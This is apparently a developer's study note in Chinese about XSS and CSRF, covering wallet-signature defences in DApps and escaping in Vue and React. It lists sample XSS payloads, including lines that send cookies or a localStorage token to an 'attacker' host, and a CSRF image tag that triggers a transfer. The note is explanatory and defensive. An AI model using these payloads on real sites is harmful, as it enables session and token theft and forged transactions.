xss 和 csrf

xss 跨站脚本攻击

csrf 跨站请求伪造

针对于前端俩类攻击方式，其实这都都是常规网站需要避免的一些攻击手段行为，

在区块链网站或者Dapp中基本都是采用钱包签名token验证的方式，第二种就是采用实时token验证的方式进行防御攻击，
简单来说验证全部交予插件钱包进行验证。

也就意味着本地其实不存储任何token的，并且与合约交互过程每次签名或者交易均交予钱包进行发起，那么基本不存在说上述俩种攻击方式。

实时token的意思是每次与后端进行交互，在持此业务流程中或者是在流程批次之前，实时更新token到前端范围内，那么本身就有了新的token的前端改次交互就将持有这个token去后端进行验证且可以设计成具有实时性。

那么在讨论上述俩种攻击，csrf，
简单来说现有钓鱼网站A，目的就是攻击目标网站B，当用户同时登录B以及A的时候，由于cookie是自动携带的，如果A这时候提交了目标B的信息，那么网站就误以为B为用户正常的操作。简单的说

受害者已登入受信網站 A -> 造訪攻擊者頁面 B -> B 透過自動提交 form 或隱藏圖片 <img src="https://A.example/transfer?to=attacker&amount=1000"> -> 瀏覽器自動帶 A 的 Cookie -> A 伺服器以為是使用者的合法操作。

攻击方式
隱藏自動提交表單
<img> / <script> / <link> GET 請求（若敏感操作被錯誤設計為 GET）
JS fetch（在 CORS 配置錯誤且允許跨站加上 credentials）
混合利用縮網址、惡意廣告 iframe 引導。
所以说会有cookie劫持，这也是各大交易所使用谷歌验证器以及各种手机验证码的原因，基本危险提币必要验证操作的原因。

xss
主要是注入攻击，前端如果是 Vue 甚用 v-html 这种直接转义可以渲染文本标签的模板语法，react也相同，它这种攻击主要是注入转义，完全转字符串后渲染会让这种攻击完全失效，前后端都要注意这种转义问题。

举例
React: 透過 dangerouslySetInnerHTML 注入未消毒 HTML。
Vue: 使用 v-html。
攻击载荷例子
<script>alert(1)</script>
" onmouseover="fetch('https://attacker/?c='+document.cookie)
<img src=x onerror=(()=>{const tk=localStorage.getItem('token');fetch('//attacker/t?'+tk)})()>
<svg><animate onbegin=alert(document.domain)></svg>
<iframe srcdoc="<script>...</script>"></iframe>

写这篇总结的一个缘由是一个老板忽然问了我一句说前端在区块链方面有什么安全漏洞，我回答说，如果签名到位，业务逻辑合理，前端层面的漏洞在业务逻辑上就能挡住。但是老板大概不满意吧，其实我按照的实践经验来看，确实是这样的。我都没有cookie和token这种，上面俩种如何攻击我呢。但是既然这个问题罗列出来了还是详细总结了一篇笔记出来。